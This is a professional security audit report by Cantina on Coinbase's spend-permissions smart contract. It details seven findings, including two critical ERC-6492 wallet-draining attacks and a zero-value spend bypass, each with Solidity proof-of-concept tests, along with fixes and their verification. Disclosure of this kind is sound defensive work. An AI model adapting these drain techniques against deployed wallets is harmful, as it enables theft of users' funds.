CANTINA

Coinbase: Spend permissions

Security Review

Cantina Managed review by:
Chris Smith, Lead Security Researcher
Cccz, Security Researcher

October 29, 2024

Contents

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

Cantina Managed provides a detailed evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While Cantina Managed endeavors to identify and disclose all potential security issues, it cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities that were absent during the initial review. Therefore, any changes made to the code require a new security review to ensure that the code remains secure. Please be advised that the Cantina Managed security review is not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity	Description
Critical	*Must* fix as soon as possible (if already deployed).
High	Leads to a loss of a significant portion (>10%) of assets in the protocol, or significant harm to a majority of users.
Medium	Global losses <10% or losses to only a subset of users, but still unacceptable.
Low	Losses will be annoying but bearable. Applies to things like griefing attacks that can be easily repaired or even gas inefficiencies.
Gas Optimization	Suggestions around gas saving practices.
Informational	Suggestions around best practices or readability.

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above table. Critical findings have a high likelihood of being exploited and must be addressed immediately. High findings are almost certain to occur, easy to perform, or not easy but highly incentivized thus must be fixed as soon as possible.

Medium findings are conditionally possible or incentivized but are still relatively likely to occur and should be addressed. Low findings a rare combination of circumstances to exploit, or offer little to no incentive to exploit but are recommended to be addressed.

Lastly, some findings might represent objective improvements that should be addressed but do not impact the project's overall security (Gas and Informational findings).

2 Security Review Summary

Coinbase is a secure online platform for buying, selling, transferring, and storing cryptocurrency.

From Oct 16th to Oct 21st the Cantina team conducted a review of coinbase-spend-permissions on commit hash d9b8ca4f. The team identified a total of **7** issues in the following risk categories:

- Critical Risk: 2
- High Risk: 0
- Medium Risk: 1
- Low Risk: 2
- Gas Optimizations: 1
- Informational: 1

3 Findings

3.1 Critical Risk

3.1.1 ERC-6492 implementation allows draining wallet funds by manipulating `ownerIndex`

Severity: Critical Risk

Context: SpendPermissionManager.sol#L184-L190

Description: Utilizing the ERC-6492 execution path where the signature initially fails an attacker can drain the any SmartWallet where this `SpendPermissionManager` contract is an owner.

Given the following conditions:

1. A SmartWallet has been deployed with an owner EOA/multisig that can sign approvals.
2. The `SpendPermissionManager` is deployed and setup as an owner on the `SmartWallet`.
3. The Owner signs an approval to give permissions to a `Spender`/App.
4. That Spender can use `approveWithSignature` to add their approval to the `SpendPermissionManager`.

This path appears to be the "normal" operating conditions for how the system is designed to work.

ERC-6492 describes how three paths for submitting and validating signatures:

1. Contract is deployed, use and successfully verify an ERC-1271 signature.
2. The contract is not deployed and needs to be deployed before verifying the signature.
3. The contract is deployed but needs to be made ready to verify the signature.

The second and third options are signaled to the smart contract using a `0x6492` `magicWrapper`. In the case of the Solady Library implementation (SignatureCheckerLib.sol#L529-L532), it checks if that wrapper is not there and then attempts 1, otherwise it proceeds with 2 and 3. This means that any actor can wrap a valid signature in the `magicWrapper` to make the smart contract first attempt a call to an address (SignatureCheckerLib.sol#L535-L539; in the happy path this is described as a call to a factory to deploy the contract).

Next, the code will check the signature validity again (SignatureCheckerLib.sol#L540-L541). If the signature is still not valid, it will attempt an arbitrary call on the signer address and recheck the signature hoping it is now valid (SignatureCheckerLib.sol#L542-L546).

The signatures for the Coinbase Smart Wallet expects signatures to be wrapped with the `ownerIndex` of the signer (CoinbaseSmartWallet.sol#L298-L299) since the `SmartWallet` could have multiple owners. As it is not part of the signature, this index wrapper can also be changed by the submitting party.

So with these pieces in place, we can describe the steps for an attacker to drain the wallet.

First, the attacker gets a regular signature object from the Owner of the smart wallet to setup their spend permissions. Next, they unwrap that signature object to separate the signature from the `ownerIndex`. They change the `ownerIndex` value to be the `SmartWallet.nextOwnerIndex` and rewrap the signature with the now invalid `ownerIndex`. This will cause the signature to fail.

Next, the attacker uses the `SmartWallet` address as the `prepareTo` address and encodes a transaction for the `prepareData`. In this case, the attacker is going to prepare an `executeBatch` transaction that does three things:

1. It uses the `SpendPermissionManager`'s ownership on the `SmartWallet` to send all the funds (native tokens and ERC-20 tokens can be drained in this one transaction using multiple `SmartWallet.Call`s).
2. It uses the `SpendPermissionManager`'s ownership permission to remove the signer as an owner
3. It adds the owner as a signer. The last two steps effectively reassign the signer's `ownerIndex` from its original value to the `nextOwnerIndex`.

Lastly, they wrap this `SmartWallet` signature in the ERC-6492 `magicWrapper` value so that the signature validation is skipped and the code will check if there is already code at the address (there is) and move on to the arbitrary call to `executeBatch`.

Because the attacker used an incorrect `ownerIndex` for the first signature validation, their `executeBatch` is called and resets the `ownerIndex` to the value the attacker used when re-wrapping the signature, meaning the second signature check will pass and the transaction will not revert and the attacker ends up with all the `SmartWallet`'s funds.

Proof of Concept:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;

import {SpendPermissionManager} from "../../src/SpendPermissionManager.sol";

import {SpendPermissionManagerBase} from "../base/SpendPermissionManagerBase.sol";

import {CoinbaseSmartWallet} from "smart-wallet/CoinbaseSmartWallet.sol";

import {console} from "forge-std/console.sol";

contract DrainWalletTest is SpendPermissionManagerBase {
    function setUp() public {
        _initializeSpendPermissionManager();
        vm.prank(owner);
        account.addOwnerAddress(address(mockSpendPermissionManager));
    }

    function test_exploitSpendWithSignature_erc6492(
        address spender,
        address token,
        uint48 start,
        uint48 end,
        uint48 period,
        uint160 allowance
    ) public {
        vm.assume(spender != address(account));
        assumePayable(spender);
        vm.assume(start < end);
        vm.assume(period > 0);
        vm.assume(allowance > 0);
        vm.assume(allowance <= type(uint160).max / 2);

        assertTrue(account.isOwnerAddress(address(owner)));
        assertTrue(account.isOwnerAddress(address(mockSpendPermissionManager)));

        vm.deal(address(account), allowance * 2);
        vm.deal(spender, 0);
        assertEq(address(account).balance, allowance * 2, "account balance should be allowance * 2 before
↪  exploit");
        assertEq(spender.balance, 0, "spender balance should be 0 before exploit");

        SpendPermissionManager.SpendPermission memory spendPermission = SpendPermissionManager.SpendPermission
({
            account: address(account),
            spender: spender,
            token: token,
            start: start,
            end: end,
            period: period,
            allowance: allowance
        });

        bytes memory wrappedSignature = _signSpendPermission(spendPermission, ownerPk, 0);
        // in the normal course of events this wrapped approval signature will be delivered to the app/spender
        CoinbaseSmartWallet.SignatureWrapper memory wrapper = abi.decode(wrappedSignature,
↪  (CoinbaseSmartWallet.SignatureWrapper));
        // the spender unwraps the signature and changes the owner index to the next owner index
        wrapper.ownerIndex = account.nextOwnerIndex();
        console.log("new owner index", wrapper.ownerIndex);
        wrappedSignature = _applySignatureWrapper(wrapper.ownerIndex, wrapper.signatureData);
        // this will cause the signature to fail sending the transaction down the ERC-6492 path
        address prepareTo = address(account);
        // bytes memory prepareData = abi.encodeWithSignature("removeAddOwner(uint256,bytes)", 0,
↪  abi.encode(owner));
        CoinbaseSmartWallet.Call[] memory calls = new CoinbaseSmartWallet.Call[](3);
        calls[0].target = address(spender);
        calls[0].value = address(account).balance;
```

```
        calls[0].data = hex"";
        calls[1].target = address(account);
        calls[1].value = 0;
        calls[1].data = abi.encodeWithSignature("removeOwnerAtIndex(uint256,bytes)", 0, abi.encode(owner));
        calls[2].target = address(account);
        calls[2].value = 0;
        calls[2].data = abi.encodeWithSignature("addOwnerAddress(address)", address(owner));
        bytes memory prepareData = abi.encodeWithSignature("executeBatch((address,uint256,bytes)[])", calls);
        console.log("prepareData");
        console.logBytes(prepareData);

        bytes memory eip6492Signature = abi.encode(prepareTo, prepareData, wrappedSignature);
        eip6492Signature = abi.encodePacked(eip6492Signature, EIP6492_MAGIC_VALUE);
        mockSpendPermissionManager.approveWithSignature(spendPermission, eip6492Signature);
        // Our approval went through
        vm.assertTrue(mockSpendPermissionManager.isApproved(spendPermission));
        // The Smart Wallet was drained
        assertEq(address(account).balance, 0, "account balance should be 0");
        assertEq(spender.balance, allowance * 2, "spender balance should be allowance * 2");
        // Owner was removed from Index 0
        assertEq(account.ownerAtIndex(0), bytes(""), "owner at index 0 should be empty");
        // Owner was added to Index 2
        assertEq(account.ownerAtIndex(2), abi.encode(address(owner)), "owner at index 2 should be owner");
    }
}
```

Recommendation: The most important component of this attack is allowing arbitrary calls with `SignatureCheckerLib.isValidERC6492SignatureNowAllowSideEffects`. If this functionality is not critically important, consider removing it and requiring the extra steps of deploying and setting up `SmartWallets` be done in different more controllable/trusted transactions (i.e. directly through the factory for deployment and through the `EntryPoint` for ownership updates).

If that is not desirable, it could be possible to implement checks inside the `SpendPermissionManager` to better ensure safety and mitigate this specific attack path. For instance, the `SpendPermissionManager` could do a check if the `SmartWallet` is deployed and if so, if it is already setup as an owner and only if one of those is false would it do the ERC6492 signature validation. If the wallet has already been deployed and the `SpendPermissionManager` is already an owner, then it should only do a normal signature validation, preventing the possibility of arbitrary calls.

(Note: this would not mitigate the attack described in the issue "ERC-6492 allows draining of any wallet with `SpendPermissionManager`").

Coinbase: Accepted, reverted to previous functionality to do ERC-1271 signature validation only and remove ERC-6492 functionality in PR 6.

Cantina Managed: This change looks good, removes the code that allowed arbitrary calls.

3.1.2 ERC-6492 allows draining of any wallet with `SpendPermissionManager`

Severity: Critical Risk

Context: SpendPermissionManager.sol#L184

Description: The ERC-6492 execution path allows for arbitrary call execution on an arbitrary contract when certain conditions are met. One of which is where there is not already a contract deployed at the signer address. Exploiting this path an attacker can drain a `SmartWallet` that has set up a `SpendPermissionManager`.

The only requirement is that the `SmartWallet` has been deployed with a `SpendPermissionManager` set as `owner`.

This attack utilizes the ERC-6492 path for deploying a contract and then verifying its signature.

In this scenario there are 5 addresses involved:

1. Victim's funded SmartWallet.
2. The SpendPermissionManager that is setup as an owner on the Victim's wallet.
3. The attacker address that submits the transactions and receives the funds.

4. An address that does not have code, but will be deployed in the transaction and then will respond with `true` when `_isValidSignature` is called (`counterfactualAccount` in the Proof of Concept test below).
5. An address that can be called during `executeBatch` that will create the contract at the address from step 4.

The attacker signs an arbitrary `SpendPermission` object and wraps that in an ERC-6492 `magicWrapper` with the `prepareTo/factory` address set to the victim's `SmartWallet` and the `prepareData/factoryCallData` encoded with an `executeBatch` transaction that does two things:

1. Drain the `SmartWallet` of its funds.
2. Create a contract at the counterfactualAccount address (In the proof of concept, it calls the `CoinbaseSmartWalletFactory`),

The attacker then submits this malicious payload to the victim's `SpendPermissionManager.approveWithSignature` function.

Because the attacker's payload is wrapped in the ERC-6492 `magicWrapper` and uses a `signer` that does not have code deployed the the `SpenderPermissionManager` will attempt to call the arbitrary "factory" address with the arbitrary "factory" call (SignatureCheckerLib.sol#L535-L539; in the happy path, this would be the CoinbaseSmartWalletFactory to create the SmartWallet, but in this case it is the victim's `SmartWallet.executeBatch`).

When the victim's `SmartWallet` is finished with its batch, the attacker's signing contract has been deployed and the ERC-6492 code checks the signature which is valid according to that contract. While this example and the proof of concept uses the Coinbase `SmartWalletFactory`, deployment could be handled by any factory that generates contracts in a deterministic way where those contracts respond to `_isValidSignature` calls with `true`.

Proof of Concept:

```
function test_exploitSpendWithSignature_erc6492_factory() public {
    // From the test setup, we have:
    // - an owner
    // - a Smart Wallet that the owner owns
    // - A SpendPermissionManager that the owner has added as an owner to their Smart Wallet

    // This address will be used to sign the approval and will be the owner of the counterfactual account
    // Since the CoinbaseSmartWalletFactory uses this for CREATE2, the counterfactual account will be
↪   deterministic
    // The attacker would have to use a new signer for each exploit in this case.
    uint256 attackerSignerPk = uint256(64926492);
    address attackerAddress = vm.addr(attackerSignerPk);


    // Address attacker will use to submit the exploit and receive the funds
    address attacker = vm.addr(6492);
    assumePayable(attacker);


    uint160 allowance = 1 ether;
    // Ensure there are no address collisions
    require(attacker != address(account));
    require(attacker != owner);
    require(attackerAddress != address(account));
    require(attackerAddress != address(owner));
    assertTrue(account.isOwnerAddress(address(owner)));
    assertTrue(account.isOwnerAddress(address(mockSpendPermissionManager)));


    // Give some funds to the victim and make sure the attacker has none
    vm.deal(address(account), allowance * 2);
    vm.deal(attacker, 0);

    // Get the address of the counterfactual account that will be deployed
    bytes[] memory attackerOwners = new bytes[](1);
    attackerOwners[0] = abi.encode(attackerAddress);
    address counterfactualAccount = mockCoinbaseSmartWalletFactory.getAddress(attackerOwners, 0);
    assertTrue(counterfactualAccount != address(account), "counterfactual account is not the victims wallet");
```

```
    // check that the counterfactual account is not deployed (no code) and is empty
    { // stack too deep
        uint256 codeSize;
        assembly {
            codeSize := extcodesize(counterfactualAccount)
        }
        assertEq(codeSize, 0, "counterfactual account should not be deployed yet");
        assertEq(counterfactualAccount.balance, 0, "counterfactual account should have 0 balance");
    }


    // Setup a permission for the counterfactual account
    SpendPermissionManager.SpendPermission memory spendPermission = SpendPermissionManager.SpendPermission({
        account: counterfactualAccount,
        spender: attacker,
        token: NATIVE_TOKEN,
        start: uint48(block.timestamp),
        end: uint48(block.timestamp + 1 days),
        period: 604800,
        allowance: allowance
    });
    bytes memory wrappedSignature;
    { // stack too deep
        bytes32 spendPermissionHash = mockSpendPermissionManager.getHash(spendPermission);
        // construct replaySafeHash without relying on the account contract being deployed
        bytes32 cbswDomainSeparator = keccak256(
            abi.encode(
                keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
),
                keccak256(bytes("Coinbase Smart Wallet")),
                keccak256(bytes("1")),
                block.chainid,
                spendPermission.account
            )
        );
        bytes32 replaySafeHash = keccak256(
            abi.encodePacked(
                "\x19\x01", cbswDomainSeparator, keccak256(abi.encode(CBSW_MESSAGE_TYPEHASH,
↪   spendPermissionHash))
            )
        );
        bytes memory signature = _sign(attackerSignerPk, replaySafeHash);
        wrappedSignature = _applySignatureWrapper(0, signature);
    }


    // set the victims account as the prepareTo
    address prepareTo = address(account);
    // This will first drain the victims account and then deploy the counterfactual account so the signature
↪   passes
    CoinbaseSmartWallet.Call[] memory calls = new CoinbaseSmartWallet.Call[](2);
    {
        calls[0].target = address(attacker);
        calls[0].value = address(account).balance;
        calls[0].data = hex"";
    }
    {
        calls[1].target = address(mockCoinbaseSmartWalletFactory);
        calls[1].value = 0;
        calls[1].data = abi.encodeWithSignature("createAccount(bytes[],uint256)", attackerOwners, 0);
    }
    bytes memory prepareData = abi.encodeWithSignature("executeBatch((address,uint256,bytes)[])", calls);
    // Construct the EIP-6492 signature
    bytes memory eip6492Signature = abi.encode(prepareTo, prepareData, wrappedSignature);
    eip6492Signature = abi.encodePacked(eip6492Signature, EIP6492_MAGIC_VALUE);

    vm.prank(attacker);
    mockSpendPermissionManager.approveWithSignature(spendPermission, eip6492Signature);
    vm.stopPrank();

    assertEq(address(account).balance, 0, "account balance should be 0");
    assertEq(attacker.balance, allowance * 2, "spender balance should be allowance * 2");
}
```

Recommendation: Allowing arbitrary calls to arbitrary addresses through the ERC-6492 path seems to

have opened critical vulnerabilities since it can be used to call `executeBatch`. If that functionality is necessary, more code should be added in the `SpendPermissionContract` to ensure only safe addresses are called in a safe way. In this instance, checking that the `signer` is not deployed and then checking the `prepareTo` is the safe/known factory would prevent a third party from exploiting the victim's wallet in this way.

Coinbase: Accepted, reverted to previous functionality to do ERC-1271 signature validation only and remove ERC-6492 functionality in PR 6.

Cantina Managed: This change looks good, removes the code that allowed arbitrary calls.

3.2 Medium Risk

3.2.1 Attacker can make restricted calls from any wallet

Severity: Medium Risk

Context: SpendPermissionManager.sol#L298-L301

Description: When value is 0 in `spend()`, it no longer checks whether permission is approved and will make restricted calls from the wallet. In `spend()`, it first calls `_useSpendPermission()` to consume the allowances, and then calls `_transferFrom()` to perform the asset transfer on the wallet:

```
function spend(SpendPermission memory spendPermission, address recipient, uint160 value)
    public
    requireSender(spendPermission.spender)
{
    _useSpendPermission(spendPermission, value);
    _transferFrom(spendPermission.account, spendPermission.token, recipient, value);
}
```

And in `_useSpendPermission()`, it calls `isApproved()` to check whether the permission is approved.

```
function _useSpendPermission(SpendPermission memory spendPermission, uint256 value) internal {
    // early return if no value spent
    if (value == 0) return;

    // require spend permission is approved and not revoked
    if (!isApproved(spendPermission)) revert UnauthorizedSpendPermission();
```

The problem is that it skips the `isApproved()` check when the value is 0, so an attacker can make the call from any wallet with unapproved permissions. Then in `_transferFrom()`, since value = 0, the attacker cannot steal any assets:

```
function _transferFrom(address account, address token, address recipient, uint256 value) internal {
    // transfer tokens from account to recipient
    if (token == NATIVE_TOKEN) {
        _execute({account: account, target: recipient, value: value, data: hex""});
    } else {
        _execute({
            account: account,
            target: token,
            value: 0,
            data: abi.encodeWithSelector(IERC20.transfer.selector, recipient, value)
        });
    }
}
```

However, as a special case, the early ERC721 standard has the `transfer(address _to, uint _tokenId)` interface, and cryptoKitties supports it, so if the wallet has cryptoKitties#0, the attacker can steal it.

```
function transfer(
    address _to,
    uint256 _tokenId
)
    external
    whenNotPaused
{
```

Proof of Concept: Add `MockRecipient` contract:

```
pragma solidity ^0.8.23;

contract MockRecipient {
    address public caller;

    fallback () external payable {
        caller = msg.sender;
    }
}
```

And add the following test to `spend.t.sol`:

```
function test_poc() public {
    uint48 start = 1000;
    address spender = address(0xb0b);
    SpendPermissionManager.SpendPermission memory spendPermission = SpendPermissionManager.SpendPermission({
        account: address(account),
        spender: spender,
        token: NATIVE_TOKEN,
        start: start,
        end: uint48(start+1000),
        period: 200,
        allowance: 1e18
    });

    vm.warp(start);
    vm.startPrank(spender);
    mockSpendPermissionManager.spend(spendPermission, address(recipient), 0);
    vm.stopPrank();
    assert(recipient.caller() == address(account));
}
```

Run the test, an attacker can use unapproved permissions to call the fallback function of an arbitrary contract.

Recommendation: Move the `isApproved()` check to the front:

```
  function _useSpendPermission(SpendPermission memory spendPermission, uint256 value) internal {
+     // require spend permission is approved and not revoked
+     if (!isApproved(spendPermission)) revert UnauthorizedSpendPermission();

      // early return if no value spent
      if (value == 0) return;

-     // require spend permission is approved and not revoked
-     if (!isApproved(spendPermission)) revert UnauthorizedSpendPermission();
```

Coinbase: Accepted, addressing by reverting on 0 spend instead of returning in PR 7.

Cantina Managed: This change looks good, it will revert directly when the `value` is 0.

3.3 Low Risk

3.3.1 Possible inaccuracy in PeriodSpend end could result in incorrect integrations/events

Severity: Low Risk

Context: SpendPermissionManager.sol#L263-L266

Description: This code allows for the `PeriodSpend.end > SpendPermission.end`. While this does not result in spending after the `SpendPermission.end`, this could cause confusion for any integrations listening to the `SpendPermissionUsed` event or reading the `lastUpdatedPeriod` value and trusting the `PeriodSpend.end`.

Recommendation: The same effect of protecting against overflow can be achieved while maintaining the invariant of `PeriodSpend.end <= SpendPermission.end` by using:

```
bool endOverflow = uint256(start) + uint256(spendPermission.period) > spendPermission.end;

// end is one period after start or maximum uint48 if overflow
uint48 end = endOverflow ? spendPermission.end : start + spendPermission.period;
```

Coinbase: Accepting recommendation in PR 9.

Cantina Managed: Changes look good.

3.3.2 Arbitrary recipient could be a risk

Severity: Low Risk

Context: SpendPermissionManager.sol#L198-L204

Description: Because the user does not validate or pre-approve the recipient and that recipient can be set differently for each call by the spender, it potentially increases the risk of this contract.

First, it could expose the owner of the smart wallet to the risk of interacting with an address they should not (i.e. it is sanctioned by their jurisdiction).

Second, the sender could select a recipient where invoking the `fallback`/`receive` function on the recipient could lead to undesirable outcomes for the recipient or the SmartWallet/SpendPermission. For instance, one possible risk path identified in conversations between the audit team and the client would be if the recipient was setup by the SmartWallet and trusts transaction from their SmartWallet by checking in fallback function if the `msg.sender` was their SmartWallet before performing an action. By allowing the `spender` to initiate a transaction that invokes this fallback from the SmartWallet could bypass the intended authorization setup and expose either the SmartWallet or the user's recipient address to unauthorization actions. This risk increases with the current code implementation allowing the `useSpendPermission` to proceed without checking if it is a valid spendPermission if the value is 0.

Recommendation: There are a couple of ways to address this:

- Include recipient's address in the SpendPermission that the user approves and is used to generate the unique hash.
- Only send to the `spender` address. As this is likely an address the user has already validated, this would be a simple and low impact to the user change that would avoid any unwanted interactions.

Coinbase: Accepting recommendation and choosing to restrict the recipient to be the spender themselves in PR 10.

Cantina Managed: This change looks good, removes the `recipient` parameter and keeps the code simpler by not adding a parameter to `SpendPermission`.

3.4 Gas Optimization

3.4.1 Can use unchecked for increased efficiency

Severity: Gas Optimization

Context: SpendPermissionManager.sol#L256-L260

Description: For an improvement in efficiency, I believe these can be wrapped in unchecked:

- If `currentTimestamp` is less than `spendPermission.start`, then this function will revert with 'BeforeSpendPermissionStart'.
- currentPeriodProgress has to be less than the `currentTimestamp`

Coinbase: Acknowledged, choosing not to modify.

Cantina Managed: Acknowledged.

3.5 Informational

3.5.1 Revoke can always be frontrun for max allowance in the period

Severity: Informational

Context: SpendPermissionManager.sol#L150-L154

Description: Similar to the ERC-20 standard, a user who wishes to revoke their permission for a spender can be frontrun by the spender for up to `spendPermission.allowance`. This is likely a documentation issue to ensure users understand that granting permission for a spender is essentially committing to giving them up the the `allowance` in funds period including the one in which they attempt to revoke the permissions.

Coinbase: Acknowledged, will address with documentation.

Cantina Managed: Acknowledged.